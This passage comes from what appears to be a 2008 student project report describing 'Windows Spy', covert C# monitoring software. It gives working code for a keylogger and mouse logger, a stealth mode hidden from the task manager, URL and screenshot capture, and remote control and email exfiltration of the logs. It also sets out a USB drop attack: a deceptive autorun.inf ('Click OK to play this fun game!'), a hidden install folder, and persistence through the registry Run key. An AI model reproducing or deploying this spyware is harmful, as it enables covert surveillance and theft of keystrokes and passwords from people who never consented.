The CALLBACK parameter is the pointer to the handle function. In C#, the "pointer" is achieved by passing an instance of a delegate type, referring to the appropriate method. This is the method that will be called every time the hook is used.An important point to note here is that the delegate instance needs to be stored in a member variable in the class. This is to prevent it being garbage collected as soon as the first method call ends.

As mentioned above, SetWindowsHookEx requires a pointer to the callback function that will be used to process the keyboard events. It expects a function with the following signature:

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);

The C# method for setting up a "pointer to a function" is to use a delegate, so the first step in giving SetWindowsHookEx what it needs is to declare a delegate with the right signature:

Private delegate IntPtr HookHandlerDelegate(int nCode, IntPtr wParam, ref KBDLLHOOKSTRUCT lParam);

And then write a callback method with the same signature, for example –

private IntPtr HookCallback(int nCode, IntPtr wParam, ref KBDLLHOOKSTRUCT lParam)

nCode: the callback function should return the result of CallNextHookEx if this value is less than zero. Normal keyboard events will return an nCode of 0 or more.

21

Page 22: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

wParam: This value indicates what type of event occurred: key up or key down, and whether the key pressed was a system key (left or right-hand Alt keys).

lParam: A structure to store precise information on the keystroke, such as the code of the key which was pressed. The structure is as follows:

private struct KBDLLHOOKSTRUCT{ public int vkCode; int scanCode; public int flags; int time; int dwExtraInfo;}

The two public parameters are the only ones used by the callback method in vkCode returns the virtual key code, while flags indicates if this is an extended key (the Windows Start key, for instance) or if the Alt key was pressed at the same time.So this parameter is important to retrieve the information of the message we grabbed.

(Don't forget to use "CallNextHookEx(hookID, nCode, wParam, ref lParam);" in the function)

of course to complete the "pointing" you must create an instance of your delegate –

private HookHandlerDelegate proc;

and to link between the instance and the function

proc = new HookHandlerDelegate(HookCallback);

finally, we must free the hook before exiting from the application:

UnhookWindowsHookEx(hookID)

This way we were able to intercept any key pressed or ant mouse click and to use it in the different occasions we neede to – Making the KeyLogger and MouseLogger obviously, as well as using this in the URL Hook, password checking, activity checking and more (each will be explained in the proper section)

22

Page 23: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Client Application running ModeThe main idea of the Spy Application is to monitor a computer. In this subchapter, we'll put our effort on describing the main options on the application.

SettingsWhen you first run the program, the application window appears when the tab "Settings" is the one on top, as seen in the Figure:

Figure

Settings, as can be understood from it's name, is the tab where one can set the main options of the application and of course, initiate the monitoring. An important notice is that before starting, one should examine and change the other tabs supervising a specific monitoring option rather than rely on the default options.

23

Page 24: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

In the next sections, we shall describe the option which available under the settings bar.

Stealth Mode

As explain earlier, the main idea of the application is to monitor ones computer. The option to run in stealth mode means that the application runs on ones computer without any form appearing on the screen (and without noticing in the application manager), in other words the application becomes invisible. In order to stop the monitoring in stealth mode, one must choose under the settings tab 2 mandatory options:

Key Combination: after starting the application, several key strokes that match the key combination that was inserted trigger a password window, which will be the gate for the closure of the application.

Password: in the password window, the password inserted is to be matched with the one under the settings tab (which is hidden), a correct password wil stop the monitoring and will open the form of the application.

Starting and Stopping Time

When starting the monitoring, there are several options regarding the beginning and the ending of the monitoring:

Immediate: one can choose to initiate the monitoring ass soon as he push the Start button. The ending will be initiated by him, as explained in earlier sections.

Preordered: this secondary option allows the user to start the application and ending it in a specific time, chosen by him.

24

Page 25: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Key LoggerThis tab supervises the key logging option. The general idea of key logging is that the key strokes of the monitored user are saved on a log file (in this application's case a *.html file) invisible to him. When choosing the tab "Key Logger", a window similar to the figure appears:

Figure In the followed section we shall describe the varsity of options that this tab offers.

Options

When entering the addressed tab, one can choose either to perform key logging or not. If one chooses to perform key logging, he may choose to perform this action on several applications (meaning that the monitoring will be only on these selected

25

Page 26: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

programs) or to perform general key logging, transmitting into the log file any gathered keyboard information. One can also choose where to place the log files, this action is not mandatory for a default path is already marked.

Log File

When the monitoring starts, an html file serves as a log file, and saves all of the keystrokes. The log file can be seen below:

Process Name: explorerWindow Name: Release28/03/2008 22:07:51hello world!

The log file prints for any application in which a key was pressed the following:

Process name Window name

Time of the first keystroke

As one can obviously understand, the user typed the words "hello world" in 28/03/2008 22:07:51, in the process explorer.

26

Page 27: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Mouse LoggerThis tab supervises the mouse logging option. The general idea of mouse logging is that the mouse strokes of the monitored user are saved on a log file (in this application's case a *.html file) invisible to him. When talking about mouse logging, we generally mean saving all of the right clicks the user pressed with the mouse.

When choosing the tab "Mouse Logger", a window similar to figure appears:

27

Page 28: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Figure

In the followed section we shall describe the varsity of options that this tab offers.

Options

When entering the addressed tab, one can choose either to perform mouse logging or not. If one chooses to perform mouse logging, he may choose to perform this action on several applications (meaning that the monitoring will be only on these selected programs) or to perform general mouse logging, transmitting into the log file any gathered mouse information. One can also choose where to place the log files, this action is not mandatory for a default path is already marked.

Log File

When the monitoring start, an html file serves as a log file, and saves all of the right mouse clicks. The log file can be seen below:

Process Name: explorerWindow Name: Release28/03/2008 22:07:48

28

Page 29: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Clicked spot is - 496, 53Clicked spot is - 496, 53

The log file prints for any application in which the user clicked on a mouse the following:

Process name Window name

Time of the first right click

As one can obviously understand, the user clicked the mouse in 28/03/2008 22:07:48, in the process explorer.

URL LoggerThis tab supervises the URL logging option. The general idea of URL logging is that the various websites visited by the monitored user are saved on a log file (in this application's case a *.html file) invisible to him.

29

Page 30: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

When choosing the tab "URL Logger", a window similar to figure appears:

Figure

In the followed section we shall describe the varsity of options that this tab offers.

Options

When entering the addressed tab, one can choose either to perform URL logging or not. One can choose where to place the log files, this action is not mandatory for a default path is already marked.

Log File

When the monitoring starts, an html file serves as a log file, and save all of the websites visited by the monitored user. The log file can be seen below:

28/03/2008 22:07:48

30

Page 31: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

http://www.walla.co.il

28/03/2008 22:10:34http://www.ynet.co.il

The log file saves for each website visited the hour and date of entrance, and of course the address of the website.

Image RecorderThis tab supervises the image recording option. The general idea of image recording is to create screenshots, in several ways, selected by the user.

When choosing the tab "Image Recorder", a window similar to figure appears:

Figure

In the followed section we shall describe the varsity of options that this tab offers.

Options

When entering the addressed tab, one can choose either to perform Image Recording or not. One can choose where to place the log files, this action is not mandatory for a default path is already marked.

31

Page 32: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

There are 2 main ways to record an image, they can be combined together:

Time Intervals: choosing this option, a snapshot of the user's screen will be taken every several minutes, chosen by the user.

Dangerous Key Strokes: whenever a selected key combination is pressed, a snapshot is taken.

Screenshots

The screenshots are saved as *.jpg files in the mentioned directory.

RemotingThis is the main tab for communication. By contrast to the other tabs, this tab doesn't supervise any logging done by the user, its sole purpose is to handle communication with the outer world.

When choosing the tab "Remoting", a window similar to figure appears:

Figure

Options

The remote section includes 2 features:

32

Page 33: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Initiate Communication: this option connects to a server, with an IP address or local name, as described by the user. This option will be discussed broadly in further sections.

Send Email: this option sends all of the information (log files and screenshots) gathered from the user, and sends it to a user typed email address from our own application's gmail account.

33

Page 34: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Client & Server Application running ModeWhile most of the work can be done locally, it is advised to work through a remote server, in order to do a truly stealth monitoring. In this subchapter, we'll put our effort on describing the remote options of our application.

ClientAs described in earlier sections, when choosing the tab "Remoting", a window similar to figure appears:

Figure

In order to initiate communication with a remote server, one must enter an IP address or local name. Once the information inserted the application searches for such server and starts a connection with it. Once succeeded, the form becomes invisible and the server has the control for monitoring.

34

Page 35: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

ServerThis section describes a form, opened in a remote computer, waiting for an initialization request from a client. When starting the server application, it starts listening to requests and no form appears. Once the server gets a request from a remote client, the form appears on the screen:

The application server's from can be seen in figure below:

Fig

ure

The form allows us to control the monitoring remotely, the next sections intend to explain the various options which can be done remotely using the server application.

Enable and Disable

To start monitor the remote user, one should press the button "Enable" which enables all of the monitoring described by the user early on in the client's form. If one chooses to disable the monitoring for some time, he may press "Disable".

35

Page 36: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Sending the Files

The files (meaning the log files and screenshots) can be sent from the remote client, the files are sent separately, sending in each time the files which the user mentioned.

Ending the Monitoring

Whenever the user chooses, he can terminate the spy application at the client's computer.

Sending Email

The user can send an email to his email account via the application gmail account rather than sending it directly.

Status

The user can detect whether the remote computer is used or not. The status of the monitored computer Busy/Idle can be seen in the form after the request is sent.

36

Page 37: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

USB Spying ModeThis third running mode is considered to be the most advanced one – the true and fast spying technique on any accessible PC.For this purpose the following files are needed: autorun.inf, lilguy.ico, appinstall.exe, svcshost.exe, server2.exe. Also, you must have a disk on key device to hold these files.Description:We wanted to allow the user to be able to make a quick install of the software on any computer, and making the software completely hidden, and controlled by the server running on the user’s computer. This feature allows the user to approach any PC, insert the disk on key device containing the files mentioned, and with a single click, install the software on the computer, making it load and run (completely hidden) upon computer start-up (as well as immediately upon doing inserting the device and choosing the correct option), and connecting to the remote server that the user runs on his private computer.How it is done:

Autorun.inf

The Autorun.inf file must always be located in the root directory of your disk on key deviceThis feature to automatically start programs on compact discs / disk on keys is sometimes referred as the Windows AutoRun technology.When you insert the disc Windows will look after Autorun.inf in the root directory and if it find it, it will read the file and interpret the contents of it.We wrote in the Autorun.inf the following script:[autorun]icon=lilguy.icoopen=appinstall.exeaction=Click “OK” to play this fun game!shell\open\command=appinstall.exe

What it does is when the pop-up window the pops up when ever you insert the disk appears, there is one additional option there (has the lilguy.ico icon besides it with the text of the “action”, snapshot can be seen at next page) that when you click it (and then click “OK”), the computer runs the appinstall.exe file (to be explained later) which is as we recall located on the disk as well.The last command in the file enables to run the appinstall.exe in another way:If you press cancel in the pop-up window, and then go to My computer and double click the disk-on-key drive there, the appinstall.exe also executes.

37

Page 38: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Appinstall.exeThis application does the following things:It creates an empty hidden folder with the path “My documents\Files” (for each computer “My documents” will be automatically replaced by the local computer’s path to “My documents”).

string new_directory = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);new_directory += @"\Files";

System.IO.Directory.CreateDirectory(new_directory);DirectoryInfo d = new DirectoryInfo(new_directory);d.Attributes = d.Attributes | FileAttributes.Hidden;

This is the folder which contains all the information produced by the spying application.Then, it copies the files “HOOK.exe”, “init.txt” (to be explained) to that directory.

string CurrentPath = System.Windows.Forms.Application.StartupPath;

File.Copy(CurrentPath + @"\HOOK.exe", Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Files\HOOK.exe");

File.Copy(CurrentPath + @"\init.txt", Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Files\init.txt");

Afterwards, it changes the registry of the local computer so each time the reboots, our application will run as soon as windows loads.

38

Page 39: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Explanation of this last feature:Windows Registry is a directory which stores settings and options for the operating system for Microsoft Windows. It contains information and settings for all the hardware, operating system software, most non-operating system software, users, preferences of the PC, etc. Whenever a user makes changes to Control Panel settings, file associations, system policies, or most installed software, the changes are reflected and stored in the registry. The registry also provides a window into the operation of the kernel, exposing runtime information such as performance counters and currently active hardware.To see the registry you can got t Start->Run and write “regedit”.The list of the applications the start as soon as windows load is located in:HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Run.The code lines (2 lines) that add our application (after being copied to the local computer) to this list are –

RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

rkApp.SetValue("HOOK", Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\Files\\HOOK.exe");

And finally the appinstall.exe runs the HOOK.exe application (our spy software) – Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\Files\HOOK.exe");

*don’t forget using System.Diagnostics;using Microsoft.Win32;

Init.txtIn this spying technique, we support 2 running modes. One, each time the computer restarts the application starts running on it’s own, without connecting to the server. Two, each time the application starts (on computer start-up and of course on the first run right after the install) it immediately connects to our server running on the user’s computer.This is the purpose of the ini.txt file (which must co on the disk as well): if it is empty, Then the application will run in the first mode, else – you should right the name of your computer host which runs the server (or it’s ip number, in this case the format should be “ip insert_number”),And this way the application will connect to the server (specified in the init.txt file) each time it loads.

39

Page 40: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Client Implementation techniques & Code

Key LoggerWhen addressing the description of the implementation, we firstly need to install the low level keyboard hook which will intercept all of the keystrokes. After completing this stage, we shall describe the key logging.

Initializing Keyboard Hook

In order to initiate the hook, we need to address 3 methods in user32.dll:

SetWindowsHookEx which sets up the keyboard hook UnhookWindowsHookEx which removes the keyboard hook CallNextHookEx which passes the keystroke information to the next

application listening for keyboard events

In order to achieve this, the first step is to include the System.Runtime.InteropServices namespace and import the API methods, starting with SetWindowsHookEx. We used a class for imported methods, called win32API, there we saved these 3 methods:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]public static extern IntPtr SetWindowsHookEx(int idHook,RootHook.PtrCALLBACK lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)][return: MarshalAs(UnmanagedType.Bool)]public static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,IntPtr wParam, IntPtr lParam);

The next step is to call SetWindowsHookEx to set up the hook, passing the following four parameters:

TidHook: his number determines the type of hook to be set up. For example, SetWindowsHookEx can also be used to hook into mouse events (and will be as we continue for the next subchapter), a complete list can be found on MSDN. In this case, we're only interested in number 13, which is the keyboard hook's id. To make the code more legible, this has been assigned to the constant WH_KEYBOARD_LL.

lpfn: A long pointer to the function that will handle the keyboard events. In C#, the pointer is achieved by passing an instance of a delegate type, referring to the appropriate method. This is the method that will be called every time the hook is used.An important point to note here is that the delegate instance needs to be stored in a member variable in the class. This is to prevent it being garbage collected as soon as the first method call ends.

40

Page 41: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

hMod An instance handle for the application which is setting up the hook. We This code uses GetModuleHandle from kernel32.dll (which is also under win32API) to identify the exact instance to make the class potentially more flexible.

dwThreadID: The ID of the current thread. Setting this to 0 makes the hook global. this is the appropriate setting for a low-level keyboard hook.

SetWindowsHookEx returns a hook ID which will be used to unhook the application when it shuts down, so this needs to be stored in a member variable for future use.

We created a class responsible for the key logging, all of the actions described from now on are in this class. Now for the hook initialization:

private const int WH_KEYBOARD_LL = 13;

public KeyHook(){ CALLBACK = new PtrCALLBACK(CALLBACK_func); Activate();}

public void Activate(){ using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { hookID = win32API.SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK, win32API.GetModuleHandle(curModule.ModuleName), 0); }}

After initializing the hook, we address the second parameter, the pointer and the function itself. One can see that the second parameter callback wasn't explained, this is the function delegate. For creating the hook we need to declare a delegate (pointer to function) which receives 3 parameters and returns void, for this is the function expected:

public delegate IntPtr PtrCALLBACK(int nCode, IntPtr wParam, IntPtr lParam);protected PtrCALLBACK CALLBACK;

Later, we create callback method with the same signature. This method will contain all the code that actually processes the keyboard event. This will be discussed further in the next subchapter. After creating the function, we link it to the delegate as seen in the above code. Once linked, and after the call to win32API. SetWindowsHookEx, the function intercepts the keystrokes. In our case, it can be seen that the function's name is CALLBACK_func.

Whenever a keyboard event occurs, the following parameters will be passed to CALLBACK_func:

nCode: According to the MSDN documentation, the callback function should return the result of CallNextHookEx if this value is less than zero. Normal keyboard events will return an nCode of 0 or more.

wParam: This value indicates what type of event occurred: key up or key down and whether the key pressed was a system key (left or right-hand Alt keys).

lParam: A structure to store precise information on the intercepted event. In this particular case the keystroke. The type of this parameter is IntPtr, and when dealing with a specific event it needs to be cast to the event's defined

41

Page 42: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

type. Information regarding a keystroke can be such as the code of the key which was pressed.

The structure defined for the keyboard is KBDLLHOOKSTRUCT:

public struct KBDLLHOOKSTRUCT{ public int vkCode; int scanCode; public int flags; int time; int dwExtraInfo;}

The two public parameters are the only ones used by the callback method. vkCode returns the virtual key code, which can be cast to System.Windows.Form.Keys to obtain the key's name, while flags indicates if this is an extended key (the Windows Start key, for instance) or if the Alt key was pressed at the same time.

The Key Logger

After initializing the hook, every keystroke typed by the user is now intercepted and received by the callback, we present the callback function:

private IntPtr CALLBACK_func(int nCode, IntPtr wParam, IntPtr lParam){ ...}

Our first order is to filter irregular calls, as explained in the previous subchapter:

if (nCode >= 0){ ...}

As we already stated, we need to cast the last parameter to our purpose, as seen below:

KBDLLHOOKSTRUCT KeyStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure (lParam, typeof(KBDLLHOOKSTRUCT));

After those line, another filter is activated, one that checks whether the user chose the "Key Logger" option, and if the current process in which the key was pressed is in the user selected monitored processes list:

if (KeyActive == true){

if( arr[0] ==1 || (GetCurrentProcess() == "WINWORD" && arr[1] ==1) || (GetCurrentProcess() == "EXCEL" && arr[2] ==1) || (GetCurrentProcess() == "POWERPNT" && arr[3] ==1) || (GetCurrentProcess() == "notepad" && arr[4] ==1) || (GetCurrentProcess() == "OUTLOOK" && arr[5] ==1) || (GetCurrentProcess() == "iexplore" && arr[6] ==1) || (GetCurrentProcess() == "firefox" && arr[7] ==1) || (GetCurrentProcess() == "devenv" && arr[8] ==1)) { ... }

42

Page 43: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

}

Now, we activate the last filter, which left out system key such as Alt and Ctrl. the method CallNextHookEx forwards the parameters to the next function in the chain, basically frees the keystroke from the method:

if ((KeyStruct.vkCode >= 160 && KeyStruct.vkCode <= 163) || KeyStruct.vkCode == 20){ return win32API.CallNextHookEx(hookID, nCode, wParam, lParam);}

After filtering all of the information with lesser relevance, we print the keystrokes to the log file with a path written by the user using the method print_character. We also print the date, process name and window name using the function PrintCurrentProcessName (it's second parameter determines whether to print a blank row or not):

if (FirstTime == true){ ... PrintCurrentProcessName(this.KeyPath + "//FileKey.html", 0); FirstTime = false;}else{ ... PrintCurrentProcessName(this.KeyPath + "//FileKey.html", 1);}

print_class.print_character(ref KeyStruct);

After completing the writing to the file, we return from the callback, and free the keystroke:

return win32API.CallNextHookEx(hookID, nCode, wParam, lParam);

Disabling the Key Logger

Whenever the user chooses to stop the keystrokes tracing, the function Dspose is called, moreover, it is also called when the program terminates, as requested from a class that derives from IDisposable:

public void Dispose(){ if (hookID != IntPtr.Zero) win32API.UnhookWindowsHookEx(hookID);}

As already stated earlier, we use the member hookID to terminate the hook.

43

Page 44: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Mouse LoggerWhen addressing the description of the implementation, we firstly need to install the low level mouse hook which will intercept all of the mouse clicks. After completing this stage, we shall describe the key logging.

Initializing Mouse Hook

This section is similar to the keyboard hook initialization, there are however 2 main differences:

idHook: This number determines the type of hook to be set up in the function SetWindowsHookEx, in previous section it's value was 13. in our case we change the value to 14 which is the mouse hook's id. To make the code more legible, this has been assigned to the constant WH_MOUSE_LL.

lParam: A structure to store precise information on the intercepted event. In this particular case the keystroke. The type of this parameter is IntPtr, and when dealing with a specific event it needs to be cast to the event's defined type. Information regarding a mouse click can be such as the location of the click in the screen.

The structure defined for the mouse is MSLLHOOKSTRUCT:

private struct MSLLHOOKSTRUCT{ public POINT pt; public uint mouseData; public uint flags; public uint time; public IntPtr dwExtraInfo;}

Our interests lie under POINT which stores the location of the click.

The Mouse Logger

After initializing the hook, every mouse click done by the user is now intercepted and received by the callback, we present the callback function:

private IntPtr CALLBACK_func(int nCode, IntPtr wParam, IntPtr lParam){ ...}

Our first order is to filter irregular calls, as explained in the previous chapter:

if (nCode >= 0){ ...}

44

Page 45: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

After this line, another filter is activated, one that checks whether the user chose the "Mouse Logger" option, and if the current process in which the mouse was clicked is in the user selected monitored processes list:

if (MouseActive == true){ if (arr[0] == 1 || (GetCurrentProcess() == "WINWORD" && arr[1] == 1) || (GetCurrentProcess() == "EXCEL" && arr[2] == 1) || (GetCurrentProcess() == "POWERPNT" && arr[3] == 1) || (GetCurrentProcess() == "notepad" && arr[4] == 1) || (GetCurrentProcess() == "OUTLOOK" && arr[5] == 1) || (GetCurrentProcess() == "iexplore" && arr[6] == 1) || (GetCurrentProcess() == "firefox" && arr[7] == 1) || (GetCurrentProcess() == "devenv" && arr[8] == 1)) { ... }}

As we already stated, we need to cast the last parameter to our purpose, as seen below:

MSLLHOOKSTRUCT MouseStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure (lParam, typeof(MSLLHOOKSTRUCT));

After filtering all of the information with lesser relevance, we print the mouse click's location to the log file located in a path written by the user. We also print the date, process name and window name using the function PrintCurrentProcessName(it's second parameter determines whether to print a blank row or not):

PrintCurrentProcessName(this.MousePath + "//FileMouse.html", 0);...StringBuilder strBldr = new StringBuilder();StringWriter strWriter = new StringWriter(strBldr);HtmlTextWriter tWriter = new HtmlTextWriter(strWriter);tWriter.Write("Clicked spot is - " + MouseStruct.pt.x + ", " + MouseStruct.pt.y);tWriter.RenderBeginTag(HtmlTextWriterTag.Br);

After completing the writing to the file, we return from the callback, and free the keystroke:

return win32API.CallNextHookEx(hookID, nCode, wParam, lParam);

Disabling the Mouse Logger

Whenever the user chooses to stop the keystrokes tracing, the function Dispose is called, moreover, it is also called when the program terminates, as requested from a class that derives from IDisposable:

public void Dispose(){ if (hookID != IntPtr.Zero) win32API.UnhookWindowsHookEx(hookID);}

As already stated earlier, we use the member hookID to terminate the hook, we see again the similarity between the two intercepted events.

45

Page 46: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

URL Hook

This feature allows us to record any web site the user has visited. The output is the FileURL file (in the usual html format, including date and time for each visited site).

The recording of the sites works the following way – In the handle function of the keyboard hook, if we get that the key that was pressed is Enter, we call the StartURLThread() function.

if ((((Keys)KeyStruct.vkCode).ToString() == "Return")){

if (URLActive == true)StartURLThread();

}

We do the exact same thing in the mouse hook, for each left mouse click (also, if the URLActive Boolean is set to true, meaning the user chose the option of URL recording).

StartURLThread() function – This function is inherited from the RootHook class that both the KeyHook and MouseHook classes (that call this function is mentioned above) inherit from.Here is the function:

protected void StartURLThread(){

IEhandle = win32API.GetForegroundWindow();

if (GetCurrentProcess() == "iexplore"){

URLHook url_hook = new URLHook();url_hook.URLPath = Program.hook.URLPath;

Thread thread = new Thread(new ThreadStart(url_hook.GetURL));

thread.Start();

}}

Each time this function is called, it checks if the current process is the Internet Explorer (if so, we know that we are entering a web site, because either the user typed the site’s address and then pressed enter, in the IE window, or clicked a link, in an IE window, these are the only ways to enter a new web site, and we recognize these both cases).The function also saves the handle to the foreground window in a local variable (it the process is IE we’ll need it later). If the process is in face the IE, we create a new instance of the URLHook class. This class contains al the necessary code for retrieving the URL, ans as we can see it

46

Page 47: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

contains the thread function that does that, which we call for in the StartURLThread function.

*two imports needed in the win32API class for this function are

[DllImport("user32.dll")]public static extern int GetForegroundWindow();

[DllImport("user32.dll")]public static extern int GetWindowText(int hWnd, StringBuilder text, int count);

The URLHook and the handling thread function GetURL() –

First the definitions used in this class are,

public delegate int EnumChildProc(int hwnd, int lParam);

this is a declaration of a delegate called EnumChildProc.

The thread function:

public void GetURL(){

Thread.Sleep(3000);

//instance + link the functionEnumChildProc callback = new EnumChildProc(callback_func);

/*this API function calls the callback_func each time all * over again, with another child-window of the "parent" which* is the explorer window*/win32API.EnumChildWindows(RootHook.GetIEHandle(), callback, 0);

}

first, the thread sleeps for 3 seconds, because we wait until the new site is loaded and it’s address is present in the address bar.Then, we link between the pointer (the delegate) callbak, and the function it points on – callnack_func.Then, comes the call to

win32API.EnumChildWindows(RootHook.GetIEHandle(), callback, 0);

This is imported in win32 – [DllImport("user32.dll", SetLastError = true)]public static extern int EnumChildWindows(int hWndParent, URLHook.EnumChildProc callback, int lParam);

and what it does is to call the function that callback points to (the callback_func function, to be described shortly)each time with another window handle, throth the parameter hwnd that the function expects.

47

Page 48: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Every windows window is diveded to smaller “windows” each of a certain type and purpose, and so is the IE window. This way we call our callback_func each time with another “mini”-window of the IE, and this way we’ll look for our URL address (that appears in a window of it’s own).

The callback_func function –

First, we lock the sattements in this function! Because each time we check for a URL we start a new thread, in which (in this function) we write to a single file the URL,we want o prevent collisions, we unlock at the end of the function. (the unlocking is done when we go out of scope)

public int callback_func(int hwnd, int lparam){//lock a critical section (the file-writing)

lock (MyLock){

……}

}

Then, we do 2 important things, we save in buff the text in the current window that was passed to the function, with the SendMessage win32 API function -

win32API.SendMessage(hwnd, WM_GETTEXT, 255, buff);String Current_URL = buff.ToString();

And then, we save the type of the window as well – StringBuilder WinClassName = new StringBuilder(256);win32API.GetClassName(hwnd, WinClassName, 255);

The imports in win32API are [DllImport("user32.dll", CharSet = CharSet.Auto)]public static extern int SendMessage(int hwnd, int wMsg, int wParam, StringBuilder lParam);

[DllImport("user32.dll")]public static extern int GetClassName(int hwnd, StringBuilder buf, int nMaxCount);

The URL address is in a window of type “Edit” windows, and also starts with http://, So we those 2 conditions are true, we know it’s a URL address, and we add it to our log file –

